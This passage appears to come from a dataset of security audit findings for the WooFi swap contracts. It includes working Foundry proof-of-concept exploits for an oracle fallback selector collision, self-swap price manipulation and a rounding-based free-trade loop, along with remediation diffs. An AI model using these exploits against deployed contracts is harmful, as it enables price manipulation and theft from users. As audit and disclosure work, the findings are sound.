abi.encodePacked(base, uint32((2302 << 5) + 4))\\n });\\n (bool success, ) = address(oracle).call(zip);\\n assertEq(success, true);\\n address wooAddr = oracle.getBase(6);\\n (uint256 price, bool feasible) = oracle.price(wooAddr);\\n assertEq(price, 23020000);\\n assertTrue(feasible);\\n }\\n\\n function testCollisionWithRenounceOwnership() public {\\n // selector of "renounceOwnership()": "0x715018a6"\\n bytes memory zip = _makeZipData({\\n op: 1,\\n length: 0x31,\\n leadingBytesOfBody: abi.encodePacked(hex"5018a6")\\n });\\n assertEq(oracle.owner(), address(this));\\n (bool success, ) = address(oracle).call(zip);\\n assertEq(success, true);\\n assertEq(oracle.owner(), address(0));\\n }\\n\\n function testCollisionWithSetStaleDuration() public {\\n // selector of "setStaleDuration(uint256)": "0x99235fd4"\\n bytes memory zip = _makeZipData({\\n op: 2,\\n length: 0x19,\\n leadingBytesOfBody: abi.encodePacked(hex"235fd4")\\n });\\n assertEq(oracle.staleDuration(), 120); // default: 2 mins\\n (bool success, ) = address(oracle).call(zip);\\n assertEq(success, true);\\n uint256 expectedStaleDuration;\\n assembly {\\n expectedStaleDuration := mload(add(zip, 36))\\n }\\n assertEq(oracle.staleDuration(), expectedStaleDuration);\\n assertTrue(expectedStaleDuration != 120);\\n }\\n\\n function testCollisionWithPostPrice() public {\\n // selector of "postPrice(address,uint128)": "0xd5bade07"\\n bytes memory addressAndPrice = abi.encode(address(0x1111), uint256(100));\\n bytes memory zip = _makeZipData({\\n op: 3,\\n length: 0x15,\\n leadingBytesOfBody: abi.encodePacked(hex"bade07", addressAndPrice)\\n });\\n (bool success, ) = address(oracle).call(zip);\\n assertEq(success, true);\\n (uint256 price, bool feasible) = oracle.price(address(0x1111));\\n assertEq(price, 100);\\n assertTrue(feasible);\\n }\\n\\n function testCollisionWithSyncTS() public {\\n // selector of "syncTS(uint256)": "4f1f1999"\\n uint256 timestamp = 12345678;\\n bytes memory zip = _makeZipData({\\n op: 1,\\n length: 0xf,\\n leadingBytesOfBody: abi.encodePacked(hex"1f1999", timestamp)\\n });\\n (bool success, ) = address(oracle).call(zip);\\n assertEq(success, true);\\n assertEq(oracle.timestamp(), timestamp);\\n }\\n\\n function _makeZipData(\\n uint8 op,\\n uint8 length,\\n bytes memory leadingBytesOfBody\\n ) internal returns (bytes memory result) {\\n assertTrue(length < 2 ** 6);\\n assertTrue(op < 4);\\n bytes1 head = bytes1(uint8((op << 6) + (length & 0x3F)));\\n uint256 sizeOfItem = op == 0 || op == 2 ? 5 : 13;\\n uint256 sizeOfHead = 1;\\n uint256 sizeOfBody = sizeOfItem * length;\\n assertTrue(sizeOfBody >= leadingBytesOfBody.length);\\n result = bytes.concat(head, leadingBytesOfBody, _makePseudoRandomBytes(sizeOfBody - leadingBytesOfBody.length));\\n assertEq(result.length, sizeOfHead + sizeOfBody);\\n }\\n\\n function _makePseudoRandomBytes(uint256 length) internal returns (bytes memory result) {\\n uint256 words = (length + 31) / 32;\\n result = new bytes(words * 32);\\n for (uint256 i; i < words; ++i) {\\n bytes32 rand = keccak256(abi.encode(block.timestamp + i));\\n assembly {\\n mstore(add(add(result, 32), mul(i, 32)), rand)\\n }\\n }\\n\\n assembly {\\n mstore(result, length) // change to required length\\n }\\n assertEq(length, result.length);\\n }\\n}\\n```\\n\\nAnd the logs:\\n```\\n2024-03-woofi-swap\\WooPoolV2> forge test --match-contract WooracleZipBugTest -vv\\n[⠢] Compiling// rest of codeNo files changed, compilation skipped\\n[⠆] Compiling// rest of code\\n\\nRunning 5 tests for test/foundry/WooracleZipBug.t.sol:WooracleZipBugTest\\n[PASS] testCollisionWithPostPrice() (gas: 48643)\\n[PASS] testCollisionWithRenounceOwnership() (gas: 21301)\\n[PASS] testCollisionWithSetStaleDuration() (gas: 18289)\\n[PASS] testCollisionWithSyncTS() (gas: 35302)\\n[PASS] testNormalCase() (gas: 48027)\\nTest result: ok. 5 passed; 0 failed; 0 skipped; finished in 2.13ms\\n\\nRan 1 test suites: 5 tests passed, 0 failed, 0 skipped (5 total tests)\\n```\\n
```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/WooPoolV2/contracts/wooracle/WooracleV2_2.sol b/WooPoolV2/contracts/wooracle/WooracleV2_2.sol\\nindex 9e66c63..4a9138f 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/WooPoolV2/contracts/wooracle/WooracleV2_2.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/WooPoolV2/contracts/wooracle/WooracleV2_2.sol\\n@@ // Remove the line below\\n416,9 // Add the line below\\n416,10 @@ contract WooracleV2_2 is Ownable, IWooracleV2 {\\n */\\n\\n uint256 x = _input.length;\\n// Remove the line below\\n require(x > 0, "WooracleV2_2: !calldata");\\n// Add the line below\\n require(x > 4, "WooracleV2_2: !calldata");\\n// Add the line below\\n require(bytes4(_input[0:4]) == bytes4(hex"00000000"));\\n\\n// Remove the line below\\n uint8 firstByte = uint8(bytes1(_input[0]));\\n// Add the line below\\n uint8 firstByte = uint8(bytes1(_input[5]));\\n uint8 op = firstByte 6; // 11000000\\n uint8 len = firstByte & 0x3F; // 00111111\\n\\n@@ // Remove the line below\\n428,12 // Add the line below\\n429,12 @@ contract WooracleV2_2 is Ownable, IWooracleV2 {\\n uint128 p;\\n\\n for (uint256 i = 0; i < len; // Add the line below\\n// Add the line below\\ni) {\\n// Remove the line below\\n base = getBase(uint8(bytes1(_input[1 // Add the line below\\n i * 5:1 // Add the line below\\n i * 5 // Add the line below\\n 1])));\\n// Remove the line below\\n p = _decodePrice(uint32(bytes4(_input[1 // Add the line below\\n i * 5 // Add the line below\\n 1:1 // Add the line below\\n i * 5 // Add the line below\\n 5])));\\n// Add the line below\\n base = getBase(uint8(bytes1(_input[5 // Add the line below\\n i * 5:5 // Add the line below\\n i * 5 // Add the line below\\n 1])));\\n// Add the line below\\n p = _decodePrice(uint32(bytes4(_input[5 // Add the line below\\n i * 5 // Add the line below\\n 1:5 // Add the line below\\n i * 5 // Add the line below\\n 5])));\\n infos[base].price = p;\\n }\\n\\n// Remove the line below\\n timestamp = (op == 0) ? block.timestamp : uint256(uint32(bytes4(_input[1 // Add the line below\\n len * 5:1 // Add the line below\\n len * 5 // Add the line below\\n 4])));\\n// Add the line below\\n timestamp = (op == 0) ? block.timestamp : uint256(uint32(bytes4(_input[5 // Add the line below\\n len * 5:5 // Add the line below\\n len * 5 // Add the line below\\n 4])));\\n } else if (op == 1 || op == 3) {\\n // post states list\\n address base;\\n@@ // Remove the line below\\n442,14 // Add the line below\\n443,14 @@ contract WooracleV2_2 is Ownable, IWooracleV2 {\\n uint64 k;\\n\\n for (uint256 i = 0; i < len; // Add the line below\\n// Add the line below\\ni) {\\n// Remove the line below\\n base = getBase(uint8(bytes1(_input[1 // Add the line below\\n i * 9:1 // Add the line below\\n i * 9 // Add the line below\\n 1])));\\n// Remove the line below\\n p = _decodePrice(uint32(bytes4(_input[1 // Add the line below\\n i * 9 // Add the line below\\n 1:1 // Add the line below\\n i * 9 // Add the line below\\n 5])));\\n// Remove the line below\\n s = _decodeKS(uint16(bytes2(_input[1 // Add the line below\\n i * 9 // Add the line below\\n 5:1 // Add the line below\\n i * 9 // Add the line below\\n 7])));\\n// Remove the line below\\n k = _decodeKS(uint16(bytes2(_input[1 // Add the line below\\n i * 9 // Add the line below\\n 7:1 // Add the line below\\n i * 9 // Add the line below\\n 9])));\\n// Add the line below\\n base = getBase(uint8(bytes1(_input[5 // Add the line below\\n i * 9:5 // Add the line below\\n i * 9 // Add the line below\\n 1])));\\n// Add the line below\\n p = _decodePrice(uint32(bytes4(_input[5 // Add the line below\\n i * 9 // Add the line below\\n 1:5 // Add the line below\\n i * 9 // Add the line below\\n 5])));\\n// Add the line below\\n s = _decodeKS(uint16(bytes2(_input[5 // Add the line below\\n i * 9 // Add the line below\\n 5:5 // Add the line below\\n i * 9 // Add the line below\\n 7])));\\n// Add the line below\\n k = _decodeKS(uint16(bytes2(_input[5 // Add the line below\\n i * 9 // Add the line below\\n 7:5 // Add the line below\\n i * 9 // Add the line below\\n 9])));\\n _setState(base, p, s, k);\\n }\\n\\n// Remove the line below\\n timestamp = (op == 1) ? block.timestamp : uint256(uint32(bytes4(_input[1 // Add the line below\\n len * 9:1 // Add the line below\\n len * 9 // Add the line below\\n 4])));\\n// Add the line below\\n timestamp = (op == 1) ? block.timestamp : uint256(uint32(bytes4(_input[5 // Add the line below\\n len * 9:5 // Add the line below\\n len * 9 // Add the line below\\n 4])));\\n } else {\\n revert("WooracleV2_2: !op");\\n }\\n```\\n
This bug would result in unintended exceptions and potential damages such as:\\nCollision with normal price post functions might cause users' trades executed on incorrect price and suffer losses.\\nCollision with any view function might cause price post to fail silently and hold on trade processing until next submission, and users' trades might be executed on a delayed inexact price.\\nCollision with `setStaleDuration()` might cause price freshness check to break down.
```\\nfallback () external [payable];\\nfallback (bytes calldata _input) external [payable] returns (bytes memory _output);\\n```\\n
Price manipulation by swapping any ````baseToken```` with itself
medium
`WooPPV2.swap()` doesn't forbid the case that `fromToken == toToken == baseToken`, attackers can make any baseToken's price unboundedly drifting away by swapping with self.\\nThe issue arises due to incorrect logic in WooPPV2._swapBaseToBase():\\nFirstly, we can see the situation that `fromToken == toToken == baseToken` can pass the checks on L521~L522.\\nbaseToken's state & price is cached in memory on L527~L528, and updated first time on L541, but the price calculation on L555 still uses the cached state, and the `newBase2Price` is set to `wooracle` on L556 as the final price after the swap.\\nAs a result, swapping `baseToken` with itself will cause a net price drift rather than keeping price unchanged.\\n```\\nFile: contracts\\WooPPV2.sol\\n function _swapBaseToBase(\\n// rest of code\\n ) private nonReentrant whenNotPaused returns (uint256 base2Amount) {\\n require(baseToken1 != address(0) && baseToken1 != quoteToken, "WooPPV2: !baseToken1");\\n require(baseToken2 != address(0) && baseToken2 != quoteToken, "WooPPV2: !baseToken2");\\n// rest of code\\n IWooracleV2.State memory state1 = IWooracleV2(wooracle).state(baseToken1);\\n IWooracleV2.State memory state2 = IWooracleV2(wooracle).state(baseToken2);\\n// rest of code\\n uint256 newBase1Price;\\n (quoteAmount, newBase1Price) = _calcQuoteAmountSellBase(baseToken1, base1Amount, state1);\\n IWooracleV2(wooracle).postPrice(baseToken1, uint128(newBase1Price));\\n// rest of code\\n uint256 newBase2Price;\\n (base2Amount, newBase2Price) = _calcBaseAmountSellQuote(baseToken2, quoteAmount, state2);\\n IWooracleV2(wooracle).postPrice(baseToken2, uint128(newBase2Price));\\n// rest of code\\n }\\n```\\n\\nThe following coded PoC intuitively shows the problem with a specific case:\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.0;\\n\\nimport {Test} from "../../lib/forge-std/src/Test.sol";\\nimport {console2} from "../../lib/forge-std/src/console2.sol";\\nimport {WooracleV2_2} from "../../contracts/wooracle/WooracleV2_2.sol";\\nimport {WooPPV2} from "../../contracts/WooPPV2.sol";\\nimport {TestERC20Token} from "../../contracts/test/TestERC20Token.sol";\\nimport {TestUsdtToken} from "../../contracts/test/TestUsdtToken.sol";\\n\\ncontract TestWbctToken is TestERC20Token {\\n function decimals() public view virtual override returns (uint8) {\\n return 8;\\n }\\n}\\n\\ncontract PriceManipulationAttackTest is Test {\\n WooracleV2_2 oracle;\\n WooPPV2 pool;\\n TestUsdtToken usdt;\\n TestWbctToken wbtc;\\n address evil = address(0xbad);\\n\\n function setUp() public {\\n usdt = new TestUsdtToken();\\n wbtc = new TestWbctToken();\\n oracle = new WooracleV2_2();\\n pool = new WooPPV2(address(usdt));\\n\\n // parameters reference: Integration_WooPP_Fee_Rebate_Vault.test.ts\\n pool.setMaxGamma(address(wbtc), 0.1e18);\\n pool.setMaxNotionalSwap(address(wbtc), 5_000_000e6);\\n pool.setFeeRate(address(wbtc), 25);\\n oracle.postState({_base: address(wbtc), _price: 50_000e8, _spread: 0.001e18, _coeff: 0.000000001e18});\\n oracle.setWooPP(address(pool));\\n oracle.setAdmin(address(pool), true);\\n pool.setWooracle(address(oracle));\\n\\n // add some initial liquidity\\n usdt.mint(address(this), 10_000_000e6);\\n usdt.approve(address(pool), type(uint256).max);\\n pool.depositAll(address(usdt));\\n\\n wbtc.mint(address(this), 100e8);\\n wbtc.approve(address(pool), type(uint256).max);\\n pool.depositAll(address(wbtc));\\n }\\n\\n function testMaxPriceDriftInNormalCase() public {\\n (uint256 initPrice, bool feasible) = oracle.price(address(wbtc));\\n assertTrue(feasible);\\n assertEq(initPrice, 50_000e8);\\n\\n // buy almost all wbtc in pool\\n usdt.mint(address(this), 5_000_000e6);\\n usdt.transfer(address(pool), 5_000_000e6);\\n pool.swap({\\n fromToken: address(usdt),\\n toToken: address(wbtc),\\n fromAmount: 5_000_000e6,\\n minToAmount: 0,\\n to: address(this),\\n rebateTo: address(this)\\n });\\n\\n (uint256 pastPrice, bool feasible2) = oracle.price(address(wbtc));\\n assertTrue(feasible2);\\n uint256 drift = ((pastPrice - initPrice) * 1e5) / initPrice;\\n assertEq(drift, 502); // 0.502%\\n console2.log("Max price drift in normal case: ", _toPercentString(drift));\\n }\\n\\n function testUnboundPriceDriftInAttackCase() public {\\n (uint256 initPrice, bool feasible) = oracle.price(address(wbtc));\\n assertTrue(feasible);\\n assertEq(initPrice, 50_000e8);\\n\\n // top up the evil, in real case, the fund could be from a flashloan\\n wbtc.mint(evil, 100e8);\\n\\n for (uint256 i; i < 10; ++i) {\\n vm.startPrank(evil);\\n uint256 balance = wbtc.balanceOf(evil);\\n wbtc.transfer(address(pool), balance);\\n pool.swap({\\n fromToken: address(wbtc),\\n toToken: address(wbtc),\\n fromAmount: balance,\\n minToAmount: 0,\\n to: evil,\\n rebateTo: evil\\n });\\n (uint256 pastPrice, bool feasible2) = oracle.price(address(wbtc));\\n assertTrue(feasible2);\\n uint256 drift = ((pastPrice - initPrice) * 1e5) / initPrice;\\n console2.log("Unbound price drift in attack case: ", _toPercentString(drift)); \\n vm.stopPrank();\\n }\\n }\\n\\n function _toPercentString(uint256 drift) internal pure returns (string memory result) {\\n uint256 d_3 = drift % 10;\\n uint256 d_2 = (drift / 10) % 10;\\n uint256 d_1 = (drift / 100) % 10;\\n uint256 d0 = (drift / 1000) % 10;\\n result = string.concat(_toString(d0), ".", _toString(d_1), _toString(d_2), _toString(d_3), "%");\\n uint256 d = drift / 10000;\\n while (d > 0) {\\n result = string.concat(_toString(d % 10), result);\\n d = d / 10;\\n }\\n }\\n\\n function _toString(uint256 digital) internal pure returns (string memory str) {\\n str = new string(1);\\n bytes16 symbols = "0123456789abcdef";\\n assembly {\\n mstore8(add(str, 32), byte(digital, symbols))\\n }\\n }\\n}\\n```\\n\\nAnd the logs:\\n```\\n2024-03-woofi-swap\\WooPoolV2> forge test --match-contract PriceManipulationAttackTest -vv\\n[⠆] Compiling// rest of codeNo files changed, compilation skipped\\n[⠰] Compiling// rest of code\\n\\nRunning 2 tests for test/foundry/PriceManipulationAttack.t.sol:PriceManipulationAttackTest\\n[PASS] testMaxPriceDriftInNormalCase() (gas: 158149)\\nLogs:\\n Max price drift in normal case: 0.502%\\n\\n[PASS] testUnboundPriceDriftInAttackCase() (gas: 648243)\\nLogs:\\n Unbound price drift in attack case: 0.499%\\n Unbound price drift in attack case: 0.998%\\n Unbound price drift in attack case: 1.496%\\n Unbound price drift in attack case: 1.994%\\n Unbound price drift in attack case: 2.491%\\n Unbound price drift in attack case: 2.988%\\n Unbound price drift in attack case: 3.483%\\n Unbound price drift in attack case: 3.978%\\n Unbound price drift in attack case: 4.473%\\n Unbound price drift in attack case: 4.967%\\n\\nTest result: ok. 2 passed; 0 failed; 0 skipped; finished in 6.59ms\\n\\nRan 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)\\n```\\n
```\\n2024-03-woofi-swap\\WooPoolV2> git diff\\ndiff --git a/WooPoolV2/contracts/WooPPV2.sol b/WooPoolV2/contracts/WooPPV2.sol\\nindex e7a6ae8..9440089 100644\\n--- a/WooPoolV2/contracts/WooPPV2.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/WooPoolV2/contracts/WooPPV2.sol\\n@@ -520,6 // Add the line below\\n520,7 @@ contract WooPPV2 is Ownable, ReentrancyGuard, Pausable, IWooPPV2 {\\n ) private nonReentrant whenNotPaused returns (uint256 base2Amount) {\\n require(baseToken1 != address(0) && baseToken1 != quoteToken, "WooPPV2: !baseToken1");\\n require(baseToken2 != address(0) && baseToken2 != quoteToken, "WooPPV2: !baseToken2");\\n// Add the line below\\n require(baseToken1 != baseToken2, "WooPPV2: baseToken1 == baseToken2");\\n require(to != address(0), "WooPPV2: !to");\\n\\n require(balance(baseToken1) - tokenInfos[baseToken1].reserve >= base1Amount, "WooPPV2: !BASE1_BALANCE");\\n```\\n
null
```\\nFile: contracts\\WooPPV2.sol\\n function _swapBaseToBase(\\n// rest of code\\n ) private nonReentrant whenNotPaused returns (uint256 base2Amount) {\\n require(baseToken1 != address(0) && baseToken1 != quoteToken, "WooPPV2: !baseToken1");\\n require(baseToken2 != address(0) && baseToken2 != quoteToken, "WooPPV2: !baseToken2");\\n// rest of code\\n IWooracleV2.State memory state1 = IWooracleV2(wooracle).state(baseToken1);\\n IWooracleV2.State memory state2 = IWooracleV2(wooracle).state(baseToken2);\\n// rest of code\\n uint256 newBase1Price;\\n (quoteAmount, newBase1Price) = _calcQuoteAmountSellBase(baseToken1, base1Amount, state1);\\n IWooracleV2(wooracle).postPrice(baseToken1, uint128(newBase1Price));\\n// rest of code\\n uint256 newBase2Price;\\n (base2Amount, newBase2Price) = _calcBaseAmountSellQuote(baseToken2, quoteAmount, state2);\\n IWooracleV2(wooracle).postPrice(baseToken2, uint128(newBase2Price));\\n// rest of code\\n }\\n```\\n
WooFi oracle can fail to validate its price with Chainlink price feed
medium
The price precision that the WooOracle uses is 8. However, if the quote token is an expensive token or the base token is a very cheap token, then the price will be too less in decimals and even "0" in some cases. This will lead to inefficient trades or inability to compare the woofi price with chainlink price due to chainlink price return with "0" value.\\nFirst, let's see how the chainlink price is calculated:\\n```\\nfunction _cloPriceInQuote(address _fromToken, address _toToken)\\n internal\\n view\\n returns (uint256 refPrice, uint256 refTimestamp)\\n {\\n address baseOracle = clOracles[_fromToken].oracle;\\n if (baseOracle == address(0)) {\\n return (0, 0);\\n }\\n address quoteOracle = clOracles[_toToken].oracle;\\n uint8 quoteDecimal = clOracles[_toToken].decimal;\\n\\n (, int256 rawBaseRefPrice, , uint256 baseUpdatedAt, ) = AggregatorV3Interface(baseOracle).latestRoundData();\\n (, int256 rawQuoteRefPrice, , uint256 quoteUpdatedAt, ) = AggregatorV3Interface(quoteOracle).latestRoundData();\\n uint256 baseRefPrice = uint256(rawBaseRefPrice);\\n uint256 quoteRefPrice = uint256(rawQuoteRefPrice);\\n\\n // NOTE: Assume wooracle token decimal is same as chainlink token decimal.\\n uint256 ceoff = uint256(10)**quoteDecimal;\\n refPrice = (baseRefPrice * ceoff) / quoteRefPrice;\\n refTimestamp = baseUpdatedAt >= quoteUpdatedAt ? quoteUpdatedAt : baseUpdatedAt;\\n }\\n```\\n\\nNow, let's assume the quote token is WBTC price of 60,000$ and the baseToken is tokenX that has the price of 0.0001$. When the final price is calculated atrefPrice because of the divisions in solidity, the result will be "0" as follows: 60_000 * 1e8 * 1e8 / 0.0001 * 1e8 = 0\\nso the return amount will be "0".\\nWhen the derived chainlink price is compared with woofi oracle if the chainlink price is "0" then the `woPriceInBound` will be set to "true" assuming the chainlink price is not set. However, in our case that's not the case, the price returnt "0" because of divisions:\\n```\\n-> bool woPriceInBound = cloPrice_ == 0 ||\\n ((cloPrice_ * (1e18 - bound)) / 1e18 <= woPrice_ && woPrice_ <= (cloPrice_ * (1e18 + bound)) / 1e18);\\n\\n if (woFeasible) {\\n priceOut = woPrice_;\\n feasible = woPriceInBound;\\n }\\n```\\n\\nIn such scenario, the chainlink comparison between woofi and chainlink price will not give correct results. The oracle will not be able to detect whether the chainlink price is in "bound" with the woofi's returnt price.\\nThis also applies if a baseToken price crushes. If the token price gets very less due to market, regardless of the quoteToken being WBTC or USDC the above scenario can happen.
Precision of "8" is not enough on most of the cases. I'd suggest return the oracle price in "18" decimals to get more room on rounding.
Oracle will fail to do a validation of its price with the chainlink price.
```\\nfunction _cloPriceInQuote(address _fromToken, address _toToken)\\n internal\\n view\\n returns (uint256 refPrice, uint256 refTimestamp)\\n {\\n address baseOracle = clOracles[_fromToken].oracle;\\n if (baseOracle == address(0)) {\\n return (0, 0);\\n }\\n address quoteOracle = clOracles[_toToken].oracle;\\n uint8 quoteDecimal = clOracles[_toToken].decimal;\\n\\n (, int256 rawBaseRefPrice, , uint256 baseUpdatedAt, ) = AggregatorV3Interface(baseOracle).latestRoundData();\\n (, int256 rawQuoteRefPrice, , uint256 quoteUpdatedAt, ) = AggregatorV3Interface(quoteOracle).latestRoundData();\\n uint256 baseRefPrice = uint256(rawBaseRefPrice);\\n uint256 quoteRefPrice = uint256(rawQuoteRefPrice);\\n\\n // NOTE: Assume wooracle token decimal is same as chainlink token decimal.\\n uint256 ceoff = uint256(10)**quoteDecimal;\\n refPrice = (baseRefPrice * ceoff) / quoteRefPrice;\\n refTimestamp = baseUpdatedAt >= quoteUpdatedAt ? quoteUpdatedAt : baseUpdatedAt;\\n }\\n```\\n
Swaps can happen without changing the price for the next trade due to gamma = 0
medium
When a swap happens in WoofiPool the price is updated accordingly respect to such value "gamma". However, there are some cases where the swap results to a "gamma" value of "0" which will not change the new price for the next trade.\\nThis is how the quote token received and new price is calculated when given amount of base tokens are sold to the pool:\\n```\\nfunction _calcQuoteAmountSellBase(\\n address baseToken,\\n uint256 baseAmount,\\n IWooracleV2.State memory state\\n ) private view returns (uint256 quoteAmount, uint256 newPrice) {\\n require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");\\n\\n DecimalInfo memory decs = decimalInfo(baseToken);\\n\\n // gamma = k * price * base_amount; and decimal 18\\n uint256 gamma;\\n {\\n uint256 notionalSwap = (baseAmount * state.price * decs.quoteDec) / decs.baseDec / decs.priceDec;\\n require(notionalSwap <= tokenInfos[baseToken].maxNotionalSwap, "WooPPV2: !maxNotionalValue");\\n\\n gamma = (baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec;\\n require(gamma <= tokenInfos[baseToken].maxGamma, "WooPPV2: !gamma");\\n\\n // Formula: quoteAmount = baseAmount * oracle.price * (1 - oracle.k * baseAmount * oracle.price - oracle.spread)\\n quoteAmount =\\n (((baseAmount * state.price * decs.quoteDec) / decs.priceDec) *\\n (uint256(1e18) - gamma - state.spread)) /\\n 1e18 /\\n decs.baseDec;\\n }\\n\\n // newPrice = oracle.price * (1 - k * oracle.price * baseAmount)\\n newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18;\\n }\\n```\\n\\nNow, let's assume: DAI is quoteToken, 18 decimals tokenX is baseToken which has a price of 0.01 DAI, 18 decimals coefficient = 0.000000001 * 1e18 spread = 0.001 * 1e18 baseAmount (amount of tokenX are sold) = 1e10;\\nfirst calculate the gamma: (baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec; = 1e10 * 0.01 * 1e8 * 0.000000001 * 1e18 / 1e8 / 1e18 = 0 due to round down\\nlet's calculate the `quoteAmount` will be received: `quoteAmount` = (((baseAmount * state.price * decs.quoteDec) / decs.priceDec) * (uint256(1e18) - gamma - state.spread)) / 1e18 / decs.baseDec; (1e10 * 0.01 * 1e8 * 1e18 / 1e8) * (1e18 - 0 - 0.01 * 1e18) / 1e18 / 1e18 = 99900000 which is not "0".\\nlet's calculate the new price: newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18; = (1e18 - 0) * 0.01 * 1e8 / 1e18 = 0.01 * 1e8 which is the same price, no price changes!\\nThat would also means if the "gamma" is "0", then this is the best possible swap outcome. If a user does this in a for loop multiple times in a cheap network, user can trade significant amount of tokens without changing the price.\\nCoded PoC (values are the same as in the above textual scenario):\\n```\\nfunction test_SwapsHappenPriceIsNotUpdatedDueToRoundDown() public {\\n // USDC --> DAI address, mind the naming..\\n uint usdcAmount = 1_000_000 * 1e18;\\n uint wooAmount = 100_000 * 1e18;\\n uint wethAmount = 1_000 * 1e18;\\n deal(USDC, ADMIN, usdcAmount);\\n deal(WOO, ADMIN, wooAmount);\\n deal(WETH, ADMIN, wethAmount);\\n\\n vm.startPrank(ADMIN);\\n IERC20(USDC).approve(address(pool), type(uint256).max);\\n IERC20(WOO).approve(address(pool), type(uint256).max);\\n IERC20(WETH).approve(address(pool), type(uint256).max);\\n pool.depositAll(USDC);\\n pool.depositAll(WOO);\\n pool.depositAll(WETH);\\n vm.stopPrank();\\n\\n uint wooAmountForTapir = 1e10 * 1000;\\n vm.startPrank(TAPIR);\\n deal(WOO, TAPIR, wooAmountForTapir);\\n IERC20(USDC).approve(address(router), type(uint256).max);\\n IERC20(WOO).approve(address(router), type(uint256).max);\\n IERC20(WETH).approve(address(router), type(uint256).max);\\n vm.stopPrank();\\n\\n // WHERE THE MAGIC HAPPENS\\n (uint128 price, ) = oracle.woPrice(WOO);\\n console.log("price", price);\\n \\n uint cumulative;\\n for (uint i = 0; i < 1000; ++i) {\\n vm.prank(TAPIR);\\n cumulative += router.swap(WOO, USDC, wooAmountForTapir / 1000, 0, payable(TAPIR), TAPIR);\\n }\\n\\n (uint128 newPrice, ) = oracle.woPrice(WOO);\\n console.log("price", price);\\n\\n // price hasnt changed although there are significant amount of tokens are being traded by TAPIR\\n assertEq(newPrice, price);\\n }\\n```\\n
if the "gamma" is "0", then revert.
As by design, the price should change after every trade irrelevant of the amount that is being traded. Also, in a cheap network the attack can be quite realistic. Hence, I'll label this as medium.
```\\nfunction _calcQuoteAmountSellBase(\\n address baseToken,\\n uint256 baseAmount,\\n IWooracleV2.State memory state\\n ) private view returns (uint256 quoteAmount, uint256 newPrice) {\\n require(state.woFeasible, "WooPPV2: !ORACLE_FEASIBLE");\\n\\n DecimalInfo memory decs = decimalInfo(baseToken);\\n\\n // gamma = k * price * base_amount; and decimal 18\\n uint256 gamma;\\n {\\n uint256 notionalSwap = (baseAmount * state.price * decs.quoteDec) / decs.baseDec / decs.priceDec;\\n require(notionalSwap <= tokenInfos[baseToken].maxNotionalSwap, "WooPPV2: !maxNotionalValue");\\n\\n gamma = (baseAmount * state.price * state.coeff) / decs.priceDec / decs.baseDec;\\n require(gamma <= tokenInfos[baseToken].maxGamma, "WooPPV2: !gamma");\\n\\n // Formula: quoteAmount = baseAmount * oracle.price * (1 - oracle.k * baseAmount * oracle.price - oracle.spread)\\n quoteAmount =\\n (((baseAmount * state.price * decs.quoteDec) / decs.priceDec) *\\n (uint256(1e18) - gamma - state.spread)) /\\n 1e18 /\\n decs.baseDec;\\n }\\n\\n // newPrice = oracle.price * (1 - k * oracle.price * baseAmount)\\n newPrice = ((uint256(1e18) - gamma) * state.price) / 1e18;\\n }\\n```\\n
In the function _handleERC20Received, the fee was incorrectly charged
medium
In the function _handleERC20Received, the fee was incorrectly charged.\\nIn the contract, when external swap occurs, a portion of the fee will be charged. However, in function _handleERC20Received, the fee is also charged in internal swap.\\n```\\n} else {\\n // Deduct the external swap fee\\n uint256 fee = (bridgedAmount * dstExternalFeeRate) / FEE_BASE;\\n bridgedAmount -= fee; // @@audit: fee should not be applied to internal swap \\n\\n TransferHelper.safeApprove(bridgedToken, address(wooRouter), bridgedAmount);\\n if (dst1inch.swapRouter != address(0)) {\\n try\\n wooRouter.externalSwap(\\n```\\n\\nAt the same time, when the internal swap fails, this part of the fee will not be returned to the user.
Apply fee calculation only to external swaps.\\n```\\nfunction _handleERC20Received(\\n uint256 refId,\\n address to,\\n address toToken,\\n address bridgedToken,\\n uint256 bridgedAmount,\\n uint256 minToAmount,\\n Dst1inch memory dst1inch\\n) internal {\\n address msgSender = _msgSender();\\n\\n // // rest of code\\n\\n } else {\\n if (dst1inch.swapRouter != address(0)) {\\n // Deduct the external swap fee\\n uint256 fee = (bridgedAmount * dstExternalFeeRate) / FEE_BASE;\\n bridgedAmount -= fee; \\n\\n TransferHelper.safeApprove(bridgedToken, address(wooRouter), bridgedAmount);\\n try\\n wooRouter.externalSwap(\\n // // rest of code\\n )\\n returns (uint256 realToAmount) {\\n emit WooCrossSwapOnDstChain(\\n // // rest of code\\n );\\n } catch {\\n bridgedAmount += fee;\\n TransferHelper.safeTransfer(bridgedToken, to, bridgedAmount);\\n emit WooCrossSwapOnDstChain(\\n // // rest of code\\n );\\n }\\n } else {\\n TransferHelper.safeApprove(bridgedToken, address(wooRouter), bridgedAmount);\\n try wooRouter.swap(bridgedToken, toToken, bridgedAmount, minToAmount, payable(to), to) returns (\\n uint256 realToAmount\\n ) {\\n // // rest of code\\n } catch {\\n // // rest of code\\n }\\n }\\n }\\n}\\n```\\n
Internal swaps are incorrectly charged, and fees are not refunded when internal swap fail.
```\\n} else {\\n // Deduct the external swap fee\\n uint256 fee = (bridgedAmount * dstExternalFeeRate) / FEE_BASE;\\n bridgedAmount -= fee; // @@audit: fee should not be applied to internal swap \\n\\n TransferHelper.safeApprove(bridgedToken, address(wooRouter), bridgedAmount);\\n if (dst1inch.swapRouter != address(0)) {\\n try\\n wooRouter.externalSwap(\\n```\\n
Claim functions don't validate if the epoch is settled
high
